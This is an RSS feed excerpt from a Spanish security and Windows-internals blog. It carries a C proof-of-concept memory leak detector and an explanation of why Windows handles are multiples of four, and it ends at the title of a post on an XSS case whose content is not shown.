<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>48Bits Blog</title>
	<atom:link href="http://blog.48bits.com/feed/" rel="self" type="application/rss+xml" />
	<link>http://blog.48bits.com</link>
	<description>48Bits ... The one and a half architecture land.</description>
	<lastBuildDate>Sun, 29 Aug 2010 13:02:24 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.0.1</generator>
		<item>
		<title>A naive (but fast) memory leak detection system</title>
		<link>http://blog.48bits.com/2010/08/29/memory-leak-detections/</link>
		<comments>http://blog.48bits.com/2010/08/29/memory-leak-detections/#comments</comments>
		<pubDate>Sun, 29 Aug 2010 13:02:24 +0000</pubDate>
		<dc:creator>inocraM</dc:creator>
				<category><![CDATA[Windows]]></category>

		<guid isPermaLink="false">http://blog.48bits.com/?p=1510</guid>
		<description><![CDATA[El objetivo de este post es el plantear un sistema de deteccion de leaks que sea lo suficientemente rapido como para ser usado en aplicaciones complejas o en aplicaciones que hagan un uso desmedido del heap. El objetivo es un sistema que sin un uso extra de memoria excesivo, y con una perdida de rendimiento [...]]]></description>
			<content:encoded><![CDATA[<p>El objetivo de este post es el plantear un sistema de deteccion de leaks que sea lo suficientemente rapido como para ser usado en aplicaciones complejas o en aplicaciones que hagan un uso desmedido del heap. El objetivo es un sistema que sin un uso extra de memoria excesivo, y con una perdida de rendimiento minimo, sea capaz de detectar los leaks de nuestra aplicacion.<br />
<span id="more-1510"></span><br />
El codigo y las ideas que voy a exponer son solo un esbozo y una pequeña prueba de concepto. Quedaria un gran trabajo por hacer para llegar a obtener algo realmente funcional.</p>
<p>Y dicho esto, vamos a meternos de lleno en el tema. </p>
<p>La idea es bastante sencilla. Sabemos que el Heap de Windows devuelve bloques de memoria que estan alineados a ocho bytes. Sabemos que Windows divide a partes iguales el espacio de direcciones entre Kernel mode y User mode (vamos a ignorar el modo de inicio /3gb). En IA32 esto nos deja un espacio de direcciones de 2gb para el usuario. Ahora bien, si quisiesemos terner un bitmap que pudiese representar cualquier reserva de memoria necesitariamos<br />
  2gb/(8*8) = 32mb<br />
O lo que es lo mismo. Con solo gastar 32mb podemos terner un bitmap que represente cualquier reserva. Con esto conseguimos una estructura a traves de la cual gestionar los mallocs que el usuario tiene en un momento dado.<br />
Por otro lado, un sistema de este tipo necesita gestionar mas informacion a parte de los punteros de los mallocs. ¿Donde almacenamos esta informacion? Lo que haremos es añadir esa informacion al malloc que hagamos para satisfacer la peticion del usuario.<br />
En este modelo tenemos dos ventajas: No hacemos mallocs extra para nuestras gestiones, y solo necesitamos tener en cuenta la sincronia en el bitmap que representa las peticiones de los usuarios que han sido satisfechas.</p>
<p>Comenzaremos definiendo una cabecera para las reservas que pidan los usuarios:</p>
<div class="dean_ch" style="white-space: wrap;">
<span class="kw4">typedef</span> <span class="kw4">struct</span> _ALLOCATION_HEADER<br />
<span class="br0">&#123;</span><br />
&nbsp; DWORD UserSize;<br />
<span class="br0">&#125;</span>ALLOCATION_HEADER, *LPALLOCATION_HEADER;<br />
&nbsp;</div>
<p>Y algunos defines:</p>
<div class="dean_ch" style="white-space: wrap;">
<span class="co2">#define _1GB_ &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; (ULONG)(1024 * 1024 * 1024)</span><br />
<span class="co2">#define BYTE_BITS &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; (ULONG)(8)</span></p>
<p><span class="co2">#define HEAP_ALIGNMENT &nbsp; &nbsp; &nbsp;(ULONG)(8)</span><br />
<span class="co2">#define LONG_BITS &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; (ULONG)(BYTE_BITS * sizeof(DWORD))</span><br />
<span class="co2">#define USER_ADDRESS_SPACE &nbsp;(ULONG)(2 * _1GB_)</span><br />
<span class="co2">#define CONTROL_SIZE &nbsp; &nbsp; &nbsp; &nbsp;(ULONG)(USER_ADDRESS_SPACE / (HEAP_ALIGNMENT * LONG_BITS))</span><br />
&nbsp;</div>
<p>El define CONTROL_SIZE sera el tamaño de un array de LONG&#8217;s que tiene 32MB de tamaño. Esto es, nuestro bitmap:</p>
<div class="dean_ch" style="white-space: wrap;">
<span class="kw4">static</span> <span class="kw4">LONG</span> AllocControl<span class="br0">&#91;</span>CONTROL_SIZE<span class="br0">&#93;</span> = <span class="br0">&#123;</span><span class="nu0">0</span><span class="br0">&#125;</span>;<br />
&nbsp;</div>
<p>Ahora un par de funciones hacer set/clear de un bit en el bitmap (Añadir o quitar un malloc). Estas funciones son triviales, y tan solo hay que tener cuidado de asegurarnos de que se puede acceder correctamente desde varios hilos de forma concurrente. En este caso el tiempo que tarda en ejecutarse el codigo que hay que proteger es despreciable por lo que no tiene sentido usar una seccion critica (Si queremos asegurar la correcta sincronia y no queremos implementarla nosotros mismos una alternativa aceptable podria ser una seccion critica, pero siempre con un spinlock adecuado)</p>
<div class="dean_ch" style="white-space: wrap;">
<span class="kw4">static</span><br />
__inline<br />
<span class="kw4">void</span><br />
SetMalloc<span class="br0">&#40;</span>LPVOID Buffer<span class="br0">&#41;</span><br />
<span class="br0">&#123;</span><br />
&nbsp; DWORD MallocInfo = <span class="br0">&#40;</span>DWORD<span class="br0">&#41;</span><span class="br0">&#40;</span>ULONG_PTR<span class="br0">&#41;</span>Buffer / HEAP_ALIGNMENT;<br />
&nbsp; <span class="kw4">LONG</span> *SegmentAddr = &amp;<span class="br0">&#40;</span>AllocControl<span class="br0">&#91;</span>MallocInfo / LONG_BITS<span class="br0">&#93;</span><span class="br0">&#41;</span>;<br />
&nbsp; DWORD NewBit &nbsp;= <span class="nu0">1</span> &lt;&lt; <span class="br0">&#40;</span>MallocInfo % LONG_BITS<span class="br0">&#41;</span>;<br />
&nbsp; DWORD Segment;</p>
<p>&nbsp; <span class="kw1">do</span><br />
&nbsp; <span class="br0">&#123;</span><br />
&nbsp; &nbsp; Segment = *SegmentAddr;<br />
&nbsp; <span class="br0">&#125;</span><span class="kw1">while</span><span class="br0">&#40;</span>InterlockedCompareExchange<span class="br0">&#40;</span>SegmentAddr, Segment | NewBit, Segment<span class="br0">&#41;</span> != Segment<span class="br0">&#41;</span>;<br />
<span class="br0">&#125;</span></p>
<p><span class="kw4">static</span><br />
__inline<br />
<span class="kw4">void</span><br />
ClearMalloc<span class="br0">&#40;</span>LPVOID Buffer<span class="br0">&#41;</span><br />
<span class="br0">&#123;</span><br />
&nbsp; DWORD MallocInfo = <span class="br0">&#40;</span>DWORD<span class="br0">&#41;</span><span class="br0">&#40;</span>ULONG_PTR<span class="br0">&#41;</span>Buffer / HEAP_ALIGNMENT;<br />
&nbsp; <span class="kw4">LONG</span> *SegmentAddr = &amp;<span class="br0">&#40;</span>AllocControl<span class="br0">&#91;</span>MallocInfo / LONG_BITS<span class="br0">&#93;</span><span class="br0">&#41;</span>;<br />
&nbsp; DWORD OldBit &nbsp;= <span class="nu0">1</span> &lt;&lt; <span class="br0">&#40;</span>MallocInfo % LONG_BITS<span class="br0">&#41;</span>;<br />
&nbsp; DWORD Segment;</p>
<p>&nbsp; <span class="kw1">do</span><br />
&nbsp; <span class="br0">&#123;</span><br />
&nbsp; &nbsp; Segment = *SegmentAddr;<br />
&nbsp; <span class="br0">&#125;</span><br />
&nbsp; <span class="kw1">while</span><span class="br0">&#40;</span>InterlockedCompareExchange<span class="br0">&#40;</span>SegmentAddr, Segment &amp; ~OldBit, Segment<span class="br0">&#41;</span> != Segment<span class="br0">&#41;</span>;<br />
<span class="br0">&#125;</span><br />
&nbsp;</div>
<p>La funcion malloc:</p>
<div class="dean_ch" style="white-space: wrap;">
<span class="kw4">void</span> * malloc_detect_leaks<span class="br0">&#40;</span>size_t size<span class="br0">&#41;</span><br />
<span class="br0">&#123;</span><br />
&nbsp; size_t RealSize;<br />
&nbsp; LPALLOCATION_HEADER Header;<br />
&nbsp; LPVOID Result = <span class="kw2">NULL</span>;</p>
<p>
&nbsp; RealSize = size + <span class="kw4">sizeof</span><span class="br0">&#40;</span>ALLOCATION_HEADER<span class="br0">&#41;</span>;</p>
<p>&nbsp; Header = <span class="br0">&#40;</span>LPALLOCATION_HEADER<span class="br0">&#41;</span> malloc<span class="br0">&#40;</span>RealSize<span class="br0">&#41;</span>;<br />
&nbsp; <span class="kw1">if</span><span class="br0">&#40;</span>Header != <span class="kw2">NULL</span><span class="br0">&#41;</span><br />
&nbsp; <span class="br0">&#123;</span><br />
&nbsp; &nbsp; SetMalloc<span class="br0">&#40;</span>Header<span class="br0">&#41;</span>;<br />
&nbsp; &nbsp; Header-&gt;UserSize = size;<br />
&nbsp; &nbsp; Result = Header + <span class="nu0">1</span>;<br />
&nbsp; <span class="br0">&#125;</span><br />
&nbsp; <span class="kw1">return</span> Result;<br />
<span class="br0">&#125;</span><br />
&nbsp;</div>
<p>El calloc:</p>
<div class="dean_ch" style="white-space: wrap;">
<span class="kw4">void</span> * calloc_detect_leaks<span class="br0">&#40;</span>size_t n, size_t size<span class="br0">&#41;</span><br />
<span class="br0">&#123;</span><br />
&nbsp; size_t RealSize;<br />
&nbsp; LPALLOCATION_HEADER Header;<br />
&nbsp; LPVOID Result = <span class="kw2">NULL</span>;</p>
<p>&nbsp; size *= n;<br />
&nbsp; RealSize = size + <span class="kw4">sizeof</span><span class="br0">&#40;</span>ALLOCATION_HEADER<span class="br0">&#41;</span>;</p>
<p>&nbsp; Header = <span class="br0">&#40;</span>LPALLOCATION_HEADER<span class="br0">&#41;</span> calloc<span class="br0">&#40;</span><span class="nu0">1</span>, RealSize<span class="br0">&#41;</span>;<br />
&nbsp; <span class="kw1">if</span><span class="br0">&#40;</span>Header != <span class="kw2">NULL</span><span class="br0">&#41;</span><br />
&nbsp; <span class="br0">&#123;</span><br />
&nbsp; &nbsp; SetMalloc<span class="br0">&#40;</span>Header<span class="br0">&#41;</span>;<br />
&nbsp; &nbsp; Header-&gt;UserSize = size;<br />
&nbsp; &nbsp; Result = Header + <span class="nu0">1</span>;<br />
&nbsp; <span class="br0">&#125;</span><br />
&nbsp; <span class="kw1">return</span> Result;<br />
<span class="br0">&#125;</span><br />
&nbsp;</div>
<p>El free:</p>
<div class="dean_ch" style="white-space: wrap;">
<span class="kw4">void</span> free_detect_leaks<span class="br0">&#40;</span><span class="kw4">void</span> * ptr<span class="br0">&#41;</span><br />
<span class="br0">&#123;</span><br />
&nbsp; <span class="kw1">if</span><span class="br0">&#40;</span>ptr != <span class="kw2">NULL</span><span class="br0">&#41;</span><br />
&nbsp; <span class="br0">&#123;</span><br />
&nbsp; &nbsp; LPALLOCATION_HEADER Header = <span class="br0">&#40;</span>LPALLOCATION_HEADER<span class="br0">&#41;</span> ptr;</p>
<p>&nbsp; &nbsp; Header -= <span class="nu0">1</span>;</p>
<p>&nbsp; &nbsp; ClearMalloc<span class="br0">&#40;</span>Header<span class="br0">&#41;</span>; &nbsp; &nbsp;<br />
&nbsp; &nbsp; free<span class="br0">&#40;</span>Header<span class="br0">&#41;</span>;<br />
&nbsp; <span class="br0">&#125;</span><br />
<span class="br0">&#125;</span><br />
&nbsp;</div>
<p>Y el realloc. En el caso del realloc es importante el orden en el que se llevan a cabo las acciones. Este orden es evidente si revisamos el significado estricto de las estructuras de datos que utilizamos. Nuestro bitmap representa los mallocs que hemos satisfecho. Antes del realloc  es necesario eliminar la reserva del usuario del Bitmap (Aunque mas tarde tengamos que volvera a añadirla). Si no lo hiciesemos asi necesitariamos estructuras de control extra para evitar problemas de sincronia:</p>
<div class="dean_ch" style="white-space: wrap;">
<span class="kw4">void</span> *realloc_detect_leaks<span class="br0">&#40;</span><span class="kw4">void</span> *ptr, size_t size<span class="br0">&#41;</span><br />
<span class="br0">&#123;</span><br />
&nbsp; LPALLOCATION_HEADER Old = <span class="kw2">NULL</span>;<br />
&nbsp; LPALLOCATION_HEADER New = <span class="kw2">NULL</span>;<br />
&nbsp; LPVOID Result = <span class="kw2">NULL</span>;<br />
&nbsp; DWORD RealSize = <span class="nu0">0</span>;</p>
<p>&nbsp; <span class="kw1">if</span><span class="br0">&#40;</span>ptr != <span class="kw2">NULL</span><span class="br0">&#41;</span><br />
&nbsp; <span class="br0">&#123;</span><br />
&nbsp; &nbsp; Old = <span class="br0">&#40;</span>LPALLOCATION_HEADER<span class="br0">&#41;</span>ptr;<br />
&nbsp; &nbsp; Old -= <span class="nu0">1</span>;<br />
&nbsp; &nbsp; ClearMalloc<span class="br0">&#40;</span>Old<span class="br0">&#41;</span>;<br />
&nbsp; <span class="br0">&#125;</span></p>
<p>&nbsp; RealSize = size;<br />
&nbsp; <span class="kw1">if</span><span class="br0">&#40;</span>RealSize != <span class="nu0">0</span><span class="br0">&#41;</span><br />
&nbsp; <span class="br0">&#123;</span><br />
&nbsp; &nbsp; RealSize += <span class="kw4">sizeof</span><span class="br0">&#40;</span>ALLOCATION_HEADER<span class="br0">&#41;</span>;<br />
&nbsp; <span class="br0">&#125;</span></p>
<p>&nbsp; New = <span class="br0">&#40;</span>LPALLOCATION_HEADER<span class="br0">&#41;</span>realloc<span class="br0">&#40;</span>Old, RealSize<span class="br0">&#41;</span>;<br />
&nbsp; <span class="kw1">if</span><span class="br0">&#40;</span>RealSize != <span class="nu0">0</span><span class="br0">&#41;</span><br />
&nbsp; <span class="br0">&#123;</span><br />
&nbsp; &nbsp; <span class="kw1">if</span><span class="br0">&#40;</span>New != <span class="kw2">NULL</span><span class="br0">&#41;</span><br />
&nbsp; &nbsp; <span class="br0">&#123;</span><br />
&nbsp; &nbsp; &nbsp; SetMalloc<span class="br0">&#40;</span>New<span class="br0">&#41;</span>;<br />
&nbsp; &nbsp; &nbsp; New-&gt;UserSize = size;<br />
&nbsp; &nbsp; &nbsp; Result = New + <span class="nu0">1</span>;<br />
&nbsp; &nbsp; <span class="br0">&#125;</span><br />
&nbsp; &nbsp; <span class="kw1">else</span><br />
&nbsp; &nbsp; <span class="br0">&#123;</span><br />
&nbsp; &nbsp; &nbsp; <span class="kw1">if</span><span class="br0">&#40;</span>Old != <span class="kw2">NULL</span><span class="br0">&#41;</span><br />
&nbsp; &nbsp; &nbsp; <span class="br0">&#123;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; SetMalloc<span class="br0">&#40;</span>Old<span class="br0">&#41;</span>;<br />
&nbsp; &nbsp; &nbsp; <span class="br0">&#125;</span><br />
&nbsp; &nbsp; <span class="br0">&#125;</span><br />
&nbsp; <span class="br0">&#125;</span><br />
&nbsp; <span class="kw1">return</span> Result;<br />
<span class="br0">&#125;</span><br />
&nbsp;</div>
<p>Y por ultimo, una funcion que genera un fichero de dump muyh basico con los leaks de nuestra aplicacion:</p>
<div class="dean_ch" style="white-space: wrap;">
<span class="kw4">void</span> DumpLeaks<span class="br0">&#40;</span>LPCSTR FilePath<span class="br0">&#41;</span><br />
<span class="br0">&#123;</span><br />
&nbsp; FILE *File;</p>
<p>&nbsp; File = fopen<span class="br0">&#40;</span>FilePath, <span class="st0">&quot;a+t&quot;</span><span class="br0">&#41;</span>;<br />
&nbsp; <span class="kw1">if</span><span class="br0">&#40;</span>File != <span class="kw2">NULL</span><span class="br0">&#41;</span><br />
&nbsp; <span class="br0">&#123;</span><br />
&nbsp; &nbsp; DWORD ControlSegment = <span class="nu0">0</span>;<br />
&nbsp; &nbsp; DWORD i;</p>
<p>&nbsp; &nbsp; <span class="kw1">for</span><span class="br0">&#40;</span>i = <span class="nu0">0</span>; i &lt; CONTROL_SIZE ; ++i<span class="br0">&#41;</span><br />
&nbsp; &nbsp; <span class="br0">&#123;</span><br />
&nbsp; &nbsp; &nbsp; DWORD SegMent = AllocControl<span class="br0">&#91;</span>i<span class="br0">&#93;</span>;<br />
&nbsp; &nbsp; &nbsp; DWORD Offset = <span class="nu0">0</span>;</p>
<p>&nbsp; &nbsp; &nbsp; <span class="kw1">while</span><span class="br0">&#40;</span>SegMent != <span class="nu0">0</span><span class="br0">&#41;</span><br />
&nbsp; &nbsp; &nbsp; <span class="br0">&#123;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">if</span><span class="br0">&#40;</span><span class="br0">&#40;</span>SegMent &amp; <span class="nu0">1</span><span class="br0">&#41;</span> != <span class="nu0">0</span><span class="br0">&#41;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#123;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; LPALLOCATION_HEADER Leak = <span class="br0">&#40;</span>LPALLOCATION_HEADER<span class="br0">&#41;</span><span class="br0">&#40;</span>ControlSegment + Offset<span class="br0">&#41;</span>;<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; LPBYTE Buffer;<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw4">int</span> Size;</p>
<p>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; Size = Leak-&gt;UserSize;<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; Buffer = <span class="br0">&#40;</span>LPBYTE<span class="br0">&#41;</span><span class="br0">&#40;</span>Leak + <span class="nu0">1</span><span class="br0">&#41;</span>;</p>
<p>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; fprintf<span class="br0">&#40;</span>File, <span class="st0">&quot;<span class="es0">\n</span>Leak of %d bytes at 0x%0p<span class="es0">\n</span>Dump:<span class="es0">\n</span>&quot;</span>, Size, Buffer<span class="br0">&#41;</span>;</p>
<p>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">while</span><span class="br0">&#40;</span>Size != <span class="nu0">0</span><span class="br0">&#41;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#123;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw4">int</span> LineSize = min<span class="br0">&#40;</span>Size, <span class="nu0">16</span><span class="br0">&#41;</span>;<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw4">int</span> i = <span class="nu0">0</span>;</p>
<p>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">for</span><span class="br0">&#40;</span>i = <span class="nu0">0</span> ; i &lt; LineSize ; i++<span class="br0">&#41;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#123;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; fprintf<span class="br0">&#40;</span>File, <span class="st0">&quot;%02x &quot;</span>, Buffer<span class="br0">&#91;</span>i<span class="br0">&#93;</span><span class="br0">&#41;</span>;<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#125;</span></p>
<p>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">for</span><span class="br0">&#40;</span>;i &lt; <span class="nu0">16</span> ; i++<span class="br0">&#41;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#123;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; fprintf<span class="br0">&#40;</span>File, <span class="st0">&quot; &nbsp; &quot;</span><span class="br0">&#41;</span>;<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#125;</span></p>
<p>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; fprintf<span class="br0">&#40;</span>File, <span class="st0">&quot;| &quot;</span><span class="br0">&#41;</span>;</p>
<p>
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">for</span><span class="br0">&#40;</span>i = <span class="nu0">0</span> ; i &lt; LineSize ; i++<span class="br0">&#41;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#123;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">if</span><span class="br0">&#40;</span>Buffer<span class="br0">&#91;</span>i<span class="br0">&#93;</span> &lt; <span class="nu0">32</span> || Buffer<span class="br0">&#91;</span>i<span class="br0">&#93;</span> == <span class="nu0">127</span><span class="br0">&#41;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#123;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; fprintf<span class="br0">&#40;</span>File, <span class="st0">&quot; &quot;</span><span class="br0">&#41;</span>;<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#125;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">else</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#123;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; fprintf<span class="br0">&#40;</span>File, <span class="st0">&quot;%c&quot;</span>, Buffer<span class="br0">&#91;</span>i<span class="br0">&#93;</span><span class="br0">&#41;</span>;<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#125;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#125;</span></p>
<p>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">for</span><span class="br0">&#40;</span>;i &lt; <span class="nu0">16</span> ; i++<span class="br0">&#41;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#123;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; fprintf<span class="br0">&#40;</span>File, <span class="st0">&quot; &quot;</span><span class="br0">&#41;</span>;<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#125;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; fprintf<span class="br0">&#40;</span>File, <span class="st0">&quot;<span class="es0">\n</span>&quot;</span><span class="br0">&#41;</span>;</p>
<p>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; Size -= LineSize;<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; Buffer += LineSize;<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#125;</span></p>
<p>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; fprintf<span class="br0">&#40;</span>File, <span class="st0">&quot;<span class="es0">\n</span>&quot;</span><span class="br0">&#41;</span>;<br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#125;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; SegMent &gt;&gt;= <span class="nu0">1</span>;<br />
&nbsp; &nbsp; &nbsp; &nbsp; Offset += HEAP_ALIGNMENT;<br />
&nbsp; &nbsp; &nbsp; <span class="br0">&#125;</span><br />
&nbsp; &nbsp; &nbsp; ControlSegment += LONG_BITS * HEAP_ALIGNMENT;<br />
&nbsp; &nbsp; <span class="br0">&#125;</span><br />
&nbsp; &nbsp; fclose<span class="br0">&#40;</span>File<span class="br0">&#41;</span>;<br />
&nbsp; <span class="br0">&#125;</span><br />
<span class="br0">&#125;</span><br />
&nbsp;</div>
<p>En las pruebas que he llevado a cabo la perdida de rendimiento no se aprecia, y el gasto de memoria extra es de 32MB mas un DWORD por cada malloc. Lo cierto es que el bitmap de 32MB puede reducirse considerablemente con una implementacion adecuada, aunque una implementacion mas util añadiria algo mas de overhead a cada malloc. </p>
<p>Sea como sea, al prueba de concepto parece valida, y a partir de aqui se podria seguir construyendo un Leak Detector bastante rapido. </p>
<p>Esto es una prueba de concepto que he implementado en un par de horas, asi que pido disculpas publicamente  porque lo cierto es que el codigo esta bastante descuidado.</p>
<p>Y esto es to to todo amigos!!</p>
]]></content:encoded>
			<wfw:commentRss>http://blog.48bits.com/2010/08/29/memory-leak-detections/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>¿Por que son los handles de Windows multiplo de cuatro?</title>
		<link>http://blog.48bits.com/2010/08/26/%c2%bfpor-que-son-los-handles-de-windows-multiplo-de-cuatro/</link>
		<comments>http://blog.48bits.com/2010/08/26/%c2%bfpor-que-son-los-handles-de-windows-multiplo-de-cuatro/#comments</comments>
		<pubDate>Thu, 26 Aug 2010 04:23:06 +0000</pubDate>
		<dc:creator>inocraM</dc:creator>
				<category><![CDATA[Windows]]></category>

		<guid isPermaLink="false">http://blog.48bits.com/?p=1496</guid>
		<description><![CDATA[Voy a tratar de despejar esta incoginta, esta pregunta que desde el albor de los tiempos persigue al ser humano, y lo llena de dudas e inseguridad. Los mas grandes pensadores, desde Platon a Schopenhauer, han intentado arrojar algo de luz sobre el asunto, pero sin sin obtener exito alguno. Aqui y ahora intentare abordar [...]]]></description>
			<content:encoded><![CDATA[<p>Voy a tratar de despejar esta incoginta, esta pregunta que desde el albor de los tiempos persigue al ser humano, y lo llena de dudas e inseguridad. Los mas grandes pensadores, desde Platon a Schopenhauer, han intentado arrojar algo de luz sobre el asunto, pero sin sin obtener exito alguno. Aqui y ahora intentare abordar una vez mas este problema. Intentare, de una vez por toda, solventar esta duestion que oprime nuestros corazones y agita nuestras almas.<br />
<span id="more-1496"></span><br />
Si tuviesemos que dar una respueta rapida, la respuesta seria que los handles de Windows no son siempre multiplo de cuatro.  Un ejemplo evidente son los llamados pseudohandles. Con pseudohandles me refiero a los handles virtuales que representan el proceso actual y el hilo actual, que se pueden obtener en user mode con las llamadas a las funciones GetCurrentProcess y GetCurrentThread, y que son respectivamente -1 y -2. Estos pseudohandles son validos desde el punto de vista de Windows y es el propio Objet Manager el que tiene constancia su existencia y los gestiona adecuadamente. Con esto quiero decir que estos pseudohandles son validos y se pueden usar en llamada a funciones del kernel tales como ObReferenceObjectByHandle. </p>
<p>Hay que diferenciar estos pseudohandles de otros handles virtuales como los que sirven por ejemplo para representar la entrada o la salida estandar. Este tipo de pseudohanles existen solo como parte de una implementación concreta y deben ser transformados en handles reales para poder interactuar con el sistema operativo (Con sistema operativo me estoy refiriendo en este caso &#8220;De la ntdll pa&#8217;bajo&#8221;)</p>
<p>Bien. Existen los pseudohandles y no son multiplo de cuatro. Pero, hay handles &#8220;reales&#8221;, que en esencia son una entrada en una tabla de handles asociada al proceso (O al kernel, que tambien tiene su propia tabla ), y todos parecen ser multiplo de cuatro, como por ejemplo 0x4f4. ¿Por qué? Pues la respuesta es sencilla. Esta caracteristica se debe a una decision de implementacion.<br />
<a href="http://blog.48bits.com/wp-content/uploads/2010/08/ht.jpg"><img src="http://blog.48bits.com/wp-content/uploads/2010/08/ht.jpg" alt="Tabla de Handles de Windows" title="Handle Table" width="465" height="402" class="alignright size-full wp-image-1497" /></a><br />
Si revisamos la implementacion de la tabla de handles de Windows veremos que se trata de una tabla con tres niveldes de indentación, en los que se usa 8 bits por nivel. Esto le da 24 bits para reprsentar handles. O lo que es lo mismo, el numero de handles de un proceso esta limitado a 16 millones. De esos ocho bits restantes del handle, dos de ellos quedan definidos para ser usados por los usuarios, y los otros seis permanecen indefinidos. Daros cuenta que en el primer caso es una decision de diseño, mientras en el segundo caso es una decision de implementacion. Pero, hay una excepcion. Uno de esos bits indefinidos, que se corresponde con el de mayor preso del handle, tiene un significado especial, puesto que indica si el handle pertenece a la tabla de handles del proceso, o la tabla de handles del Kernel. Este hecho es transparente para la implementación de la tabla de Handles en si misma, pero tiene implicaciones importantes para el Object Manager. Donde estan situados los siete bits restantes (2 reservados para el usuario mas cinco indefinidos): Los dos reservados para el usuario son los dos bits de menor peso del handle, mientras el resto de bits sin usar son los bits de mayor peso del handle exceputando el bit 31, cuyo significado he comentado antes. </p>
<p>Lo cierto es que la mayor parte de los sistemas de Windows que usan Handles no necesitan usar estos flags presentes en el Handle, por lo que estos bits se suelen dejar a 0, obteniendo los tipicos handles multiplo de cuatro. Hay excepciones como por ejemplo el registro de Windows, donde si se usan estos bits. Concretamente la parte del Registro implementada en User Mode usa el bit 0 para indicar si la clave hace referencia al registro local o a un registro de una maquina remota, y usa el bit 1 para indicar si se trata de una clave asociada a HKCR (Recordad que tanto el acceso remoto a claves como la entra HKCR están implementados en User Mode. Quizas este segundo punto no sea muy conocido. HKCR es una &#8220;clave virtual&#8221; que nos muestra de forma unificada información que se encuentra presente en diversos puntos del registro). Notad tambien que la gestión de estos flags hace necesaria una funcion especifica de cierre (RegCloseKey en vez de CloseHandle), y requiere, por claridad, de la definicion de  un &#8220;handle de registro&#8221;, HKEY, pero que en esencia no es mas que un handle.<br />
Y esto es to to todo amigos. Espero que vuestra curiosidad haya sido saciada!</p>
]]></content:encoded>
			<wfw:commentRss>http://blog.48bits.com/2010/08/26/%c2%bfpor-que-son-los-handles-de-windows-multiplo-de-cuatro/feed/</wfw:commentRss>
		<slash:comments>5</slash:comments>
		</item>
		<item>
		<title>Weaponized XSS &#8211; El caso de la Agencia Tributaria.</title>
		<link>http://blog.48bits.com/2010/08/03/weaponized-xss-el-caso-de-la-agencia-tributaria/</link>
		<comments>http://blog.48bits.com/2010/08/03/weaponized-xss-el-caso-de-la-agencia-tributaria/#comments</comments>
